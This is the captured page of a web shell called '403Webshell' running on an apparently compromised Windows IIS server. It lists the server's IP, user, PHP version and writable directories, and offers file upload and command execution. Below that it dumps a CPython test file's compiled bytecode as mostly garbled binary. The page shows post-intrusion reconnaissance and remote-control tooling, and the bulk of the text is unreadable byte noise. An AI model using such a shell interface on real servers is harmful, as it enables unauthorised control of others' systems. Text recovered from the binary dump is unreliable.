403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/__pycache__/test_dynamicclassattribute.cpython-313.pyc
�

��io'���SSKrSSKrSSKrSSKJr "SS\5r"SS\5r"SS\5r"S	S
\5r	"SS\
5r"S
S\5r"SS\
5r
"SS\
5r"SS\5r"SS\
5r"SS\R"S9r"SS\R"S9r"SS\R(5r"SS\5r"S S!\5r"S"S#\R(5r\S$:Xa\R4"5 gg)%�N)�DynamicClassAttributec��\rSrSrSrg)�PropertyBase�	�N��__name__�
__module__�__qualname__�__firstlineno__�__static_attributes__r��4C:\Python313\\Lib\test\test_dynamicclassattribute.pyrr	���rrc��\rSrSrSrg)�PropertyGet�rNrrrrrrrrrc��\rSrSrSrg)�PropertySet�rNrrrrrrrrrc��\rSrSrSrg)�PropertyDel�rNrrrrrrrrrc�r�\rSrSrSr\S5r\RS5r\RS5rSr	g)�	BaseClass�c��SUlg)N���_spam��selfs r�__init__�BaseClass.__init__s	����
rc��UR$)�BaseClass.getterrr!s r�spam�BaseClass.spam����z�z�rc��Xlg�Nr�r"�values  rr'r(s���
rc��U?gr+rr!s rr'r("s���JrrN)
r	r
rrr#rr'�setter�deleterr
rrrrrsK�������
�[�[����
�\�\���rrc��\rSrSr\R
Sr\RS5r\RS5r\RS5rSr
g)�SubClass�&r'c�,�[UR5e)�SubClass.getter)rr r!s rr'�
SubClass.spam*s���$�*�*�%�%rc�,�[UR5er+)rr r,s  rr'r6/����$�*�*�%�%rc�,�[UR5er+)rr r!s rr'r63r8rrN)r	r
rrr�__dict__r'�getterr/r0r
rrrr2r2&sX�����f�%�D�	�[�[�&��&�
�[�[�&��&�
�\�\�&��&rr2c�,�\rSrSrSrSr\"\SS9rSrg)�PropertyDocBase�7�c��UR$r+rr!s r�	_get_spam�PropertyDocBase._get_spam9s���z�z�r�spam spam spam)�docrN)	r	r
rrr rArr'r
rrrr=r=7s��
�E�� ��0@�A�Drr=c�V�\rSrSr\R
Sr\RS5rSrg)�PropertyDocSub�=r'c��UR$)z*The decorator does not use this doc stringrr!s rr'�PropertyDocSub.spam?r)rrN)	r	r
rrr=r:r'r;r
rrrrFrF=s(���#�#�F�+�D�	�[�[���rrFc�V�\rSrSr\R
Sr\RS5rSrg)�PropertySubNewGetter�Dr'c��g)�
new docstringrrr!s rr'�PropertySubNewGetter.spamF���rrN)	r	r
rrrr:r'r;r
rrrrKrKDs(�����f�%�D�	�[�[���rrKc�H�\rSrSr\S5r\RS5rSrg)�PropertyNewGetter�Kc��g)zoriginal docstringr?rr!s rr'�PropertyNewGetter.spamLrPrc��g)rN�rr!s rr'rUPrPrrN)r	r
rrrr'r;r
rrrrRrRKs,������
�[�[���rrRc�B�\rSrSr\\RS55rSrg)� ClassWithAbstractVirtualProperty�Uc��gr+rrrr�color�&ClassWithAbstractVirtualProperty.colorV���	
rrN)	r	r
rrr�abc�abstractmethodr\r
rrrrYrYUs"������
���
rrY)�	metaclassc�B�\rSrSr\R
\S55rSrg)� ClassWithPropertyAbstractVirtual�[c��gr+rrrrr\�&ClassWithPropertyAbstractVirtual.color\r^rrN)	r	r
rrr_r`rr\r
rrrrcrc[s"������
���
rrcc�R�\rSrSrSrSr\R"\RRS:�S5S5r\R"\RRS:�S5S5rSr
\R"\RRS:�S5S	5rS
rSrSrg
)�
PropertyTests�ac��[5nURURS5 URURS5 SUlURURS5 URURS5 [	US5 UR[
US5(+5 UR[
US5(+5 SUlURURS5 URURS5 g)Nr�
r'r �)r�assertEqualr'r �delattr�
assertTrue�hasattr�r"�bases  r�!test_property_decorator_baseclass�/PropertyTests.test_property_decorator_baseclassbs����{��������A�&�������Q�'���	�������B�'�������R�(���f�����G�D�&�1�1�2����G�D�'�2�2�3���	�������B�'�������R�(rc���[5nUR[[US5 UR[[
USS5 UR[[US5 g)Nr')r2�assertRaisesr�getattrr�setattrrrn�r"�subs  r� test_property_decorator_subclass�.PropertyTests.test_property_decorator_subclassqsG���j�����+�w��V�<����+�w��V�T�B����+�w��V�<r��)Docstrings are omitted with -O2 and abovec�~�[5nURURRSRS5 g)Nr'r5)r2rm�	__class__r:�__doc__rys  r�$test_property_decorator_subclass_doc�2PropertyTests.test_property_decorator_subclass_docxs1���j��������/�/��7�?�?�AR�Src�~�[5nURURRSRS5 g)Nr'r&)rrmr�r:r�rqs  r�%test_property_decorator_baseclass_doc�3PropertyTests.test_property_decorator_baseclass_doc~s1���{��������0�0��8�@�@�BT�Urc��[5n[5nURURRSR
S5 URURRSR
S5 g)Nr'rC)r=rFrmr�r:r�)r"rrrzs   r�test_property_decorator_doc�)PropertyTests.test_property_decorator_doc�s^��� �����������0�0��8�@�@�BR�S�������/�/��7�?�?�AQ�Rrc�h�[5nURURS5 URURRSR
S5 [
5nURURS5 URURRSR
S5 g)Nrr'rNrW)rKrmr'r�r:r�rR)r"�newgettersub�	newgetters   r�!test_property_getter_doc_override�/PropertyTests.test_property_getter_doc_override�s���,�-������*�*�A�.�����/�/�8�8��@�H�H�/�Z�%�'�	��������+�����,�,�5�5�f�=�E�E��Wrc�P^^�SS/S/SS4HGm"U4SjS[5nURURSR[	T55 MI "S	S
[5mUR[5 "U4SjS[5nSSS5 g!,(df   g=f)NTFr?��1c�<>�\rSrSrSrY\l\"\5rSrg)�EPropertyTests.test_property___isabstractmethod__descriptor.<locals>.C�c��gr+rr!s r�foo�IPropertyTests.test_property___isabstractmethod__descriptor.<locals>.C.foo����rrN�r	r
rrr��__isabstractmethod__rr
)�vals�r�Cr��s����+.��(�+�C�0�rr�r�c��\rSrSrSr\rSrg)�KPropertyTests.test_property___isabstractmethod__descriptor.<locals>.NotBool�c��[5er+)�
ValueErrorr!s r�__bool__�TPropertyTests.test_property___isabstractmethod__descriptor.<locals>.NotBool.__bool__�s
�� �l�"rrN)r	r
rrr��__len__r
rrr�NotBoolr��s��
#��Grr�c�F>�\rSrSrSrY"5\l\"\5rSrg)r��c��gr+rr!s rr�r��r�rrNr�)r�s�rr�r��s����+2�9��(�+�C�0�r)�object�assertIsr:r��boolrvr�)r"r�r�r�s  @@r�,test_property___isabstractmethod__descriptor�:PropertyTests.test_property___isabstractmethod__descriptor�s����%��a�S�"�c�2�C�
1�F�
1�

�M�M�!�*�*�U�+�@�@�$�s�)�L�
3�	�f�	��
�
�z�
*�
1�F�
1�+�
*�
*�s�;B�
B%c��UR[[5 UR[[5 "SS[5nUR[U5 "SS[5nUR[U5 "SS[5nUR[5 UR
 SSS5 UR
U"5R
S5 "SS	[5nUR[5 UR
 SSS5 UR
U"5R
S
5 g!,(df   N�=f!,(df   NA=f)Nc��\rSrSrSrg)�0PropertyTests.test_abstract_virtual.<locals>.APV�rNrrrr�APVr�����rr�c��\rSrSrSrg)�0PropertyTests.test_abstract_virtual.<locals>.AVP�rNrrrr�AVPr��r�rr�c�*�\rSrSr\S5rSrSrg)�2PropertyTests.test_abstract_virtual.<locals>.Okay1�c��UR$r+��_colorr!s rr\�8PropertyTests.test_abstract_virtual.<locals>.Okay1.color�����{�{�"rc��SUlg)N�cyanr�r!s rr#�;PropertyTests.test_abstract_virtual.<locals>.Okay1.__init__�s	��$��rr�N�r	r
rrrr\r#r
rrr�Okay1r��s��
"�
#�#�
#�
%rr�r�c�*�\rSrSr\S5rSrSrg)�2PropertyTests.test_abstract_virtual.<locals>.Okay2�c��UR$r+r�r!s rr\�8PropertyTests.test_abstract_virtual.<locals>.Okay2.color�r�rc��SUlg)N�magentar�r!s rr#�;PropertyTests.test_abstract_virtual.<locals>.Okay2.__init__�s	��'��rr�Nr�rrr�Okay2r��s��
"�
#�#�
#�
(rr�r�)rv�	TypeErrorrYrc�AttributeErrorr\rm)r"r�r�r�r�s     r�test_abstract_virtual�#PropertyTests.test_abstract_virtual�s������)�%E�F����)�%E�F�	�2�	����)�S�)�	�2�	����)�S�)�	%�4�	%��
�
�~�
.��K�K�/���������/�	(�4�	(��
�
�~�
.��K�K�/��������	�2�/�
.��/�
.�s�#
D4�=
E�4
E�
ErN)r	r
rrrsr{�unittest�skipIf�sys�flags�optimizer�r�r�r�r�r�r
rrrrhrhas���
)�=��_�_�S�Y�Y�'�'�1�,�@�B�T�B�T��_�_�S�Y�Y�'�'�1�,�@�B�V�B�V�S��_�_�S�Y�Y�'�'�1�,�@�B�X�B�X�1�,3rrhc��\rSrSrSrSrg)�PropertySub��z+This is a subclass of DynamicClassAttributerN)r	r
rrr�r
rrrr�r��s��5rr�c��\rSrSrSrSrSrg)�PropertySubSlots��zBThis is a subclass of DynamicClassAttribute that defines __slots__rN)r	r
rrr��	__slots__r
rrrr�r��s
��L��Irr�c�t�\rSrSr\R
"\"\S5S5S5r\R
"\	RRS:�S5S5r\R
"\	RRS:�S5S5r
\R
"\	RRS:�S5S	5rS
rg)�PropertySubclassTests��r�z9__doc__ is already present, __slots__ will have no effectc�X�"SS[5n[S5e![a gf=f)Nc�J�\rSrSr\S5r\"S\R5 Srg)�FPropertySubclassTests.test_slots_docstring_copy_exception.<locals>.Foo��c��g)z5Trying to copy this docstring will raise an exceptionr?rr!s rr'�KPropertySubclassTests.test_slots_docstring_copy_exception.<locals>.Foo.spam�s��r�
rN)	r	r
rrr�r'�printr�r
rrr�Foor��s$��!��"���d�4�<�<�(rr�zAttributeError not raised)r��	Exceptionr��r"r�s  r�#test_slots_docstring_copy_exception�9PropertySubclassTests.test_slots_docstring_copy_exception�s5��
	9�
)�f�
)��7�8�8���	��	�s��
)�)r}r~c�t�"SS[5nURURSRS5 g)Nc�$�\rSrSr\S5rSrg)�6PropertySubclassTests.test_docstring_copy.<locals>.Foo��c��g)�.spam wrapped in DynamicClassAttribute subclassr?rr!s rr'�;PropertySubclassTests.test_docstring_copy.<locals>.Foo.spam����rrN�r	r
rrr�r'r
rrrr�r�����
�
��
rr�r'r��r�rmr:r�r�s  r�test_docstring_copy�)PropertySubclassTests.test_docstring_copy�s3��	�&�	�
	
����L�L�� �(�(�<�	>rc�^�"SS[5mT"5nURURS5 SUlURURS5 URTRSRS5 "U4SjST5nU"5nURURS5 S	UlURURS
5 URURSRS5 g)Nc�N�\rSrSrSr\S5r\RS5rSrg)�OPropertySubclassTests.test_property_setter_copies_getter_docstring.<locals>.Foo��c��SUlg)Nr?rr!s rr#�XPropertySubclassTests.test_property_setter_copies_getter_docstring.<locals>.Foo.__init__�s��Q��
rc��UR$)r�rr!s rr'�TPropertySubclassTests.test_property_setter_copies_getter_docstring.<locals>.Foo.spam�s���z�z�!rc��Xlg)zthis docstring is ignoredNrr,s  rr'r�s	��#�
rrN)	r	r
rrr#r�r'r/r
rrrr�r��s/��.�
�
"��
"��[�[�
#��
#rr�r?r}r'r�c�Z>�\rSrSrYRSr\RS5rSrg)�RPropertySubclassTests.test_property_setter_copies_getter_docstring.<locals>.FooSub�r'c��SUlg)zanother ignored docstring�eggsNrr,s  rr'�WPropertySubclassTests.test_property_setter_copies_getter_docstring.<locals>.FooSub.spams��$��
rrN)r	r
rrr:r'r/r
)r�s�r�FooSubrs'����<�<��'�D�
�[�[�
$��
$rr
�r)r�rmr'r:r�)r"r�r
�foosubr�s    @r�,test_property_setter_copies_getter_docstring�BPropertySubclassTests.test_property_setter_copies_getter_docstring�s����		#�&�		#��e��������1�%����������1�%�����L�L�� �(�(�<�	>�	$�S�	$����������a�(����������f�-�����O�O�F�#�+�+�<�	>rc�^�"SS[5nURURSRS5 "SS[5m"U4SjST5nURURSRS5 g)	Nc�H�\rSrSr\S5r\RS5rSrg)�IPropertySubclassTests.test_property_new_getter_new_docstring.<locals>.Fooic��g�za docstringr?rr!s rr'�NPropertySubclassTests.test_property_new_getter_new_docstring.<locals>.Foo.spamr�rc��g��a new docstringr}rr!s rr'rr�rrN)r	r
rrr�r'r;r
rrrr�rs,��
�
��
��[�[�
��
rr�r'rc�$�\rSrSr\S5rSrg)�MPropertySubclassTests.test_property_new_getter_new_docstring.<locals>.FooBaseic��grrr!s rr'�RPropertySubclassTests.test_property_new_getter_new_docstring.<locals>.FooBase.spamr�rrNr�rrr�FooBaserr�rrc�Z>�\rSrSrYRSr\RS5rSrg)�JPropertySubclassTests.test_property_new_getter_new_docstring.<locals>.Foo2i!r'c��grrr!s rr'�OPropertySubclassTests.test_property_new_getter_new_docstring.<locals>.Foo2.spam#r�rrN)r	r
rrr:r'r;r
)rs�r�Foo2r!s)����#�#�F�+�D�
�[�[�
��
rr!r�)r"r�r!rs   @r�&test_property_new_getter_new_docstring�<PropertySubclassTests.test_property_new_getter_new_docstringsk���	�&�	�	
������f�-�5�5�7H�I�	�f�	�
	�7�	�	
������f�-�5�5�7H�IrrN)r	r
rrr�r�rpr�r�r�r�r�r�r
r"r
rrrr�r��s���
�_�_�W�-�y�9�G�I�9�I�9��_�_�S�Y�Y�'�'�1�,�@�B�>�B�>��_�_�S�Y�Y�'�'�1�,�@�B�>�B�>�@�_�_�S�Y�Y�'�'�1�,�@�B�J�B�Jrr��__main__)r_r�r��typesrr�rrrrr�rr2r=rFrKrR�ABCMetarYrc�TestCaserhr�r�r�r	�mainrrr�<module>r)s���
��'�	�9�	�	�,�	�	�,�	�	�,�	����"&�y�&�"B�f�B��_���9�����
����
�
����
�c3�H�%�%�c3�N6�'�6��,��XJ�H�-�-�XJ�x�z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit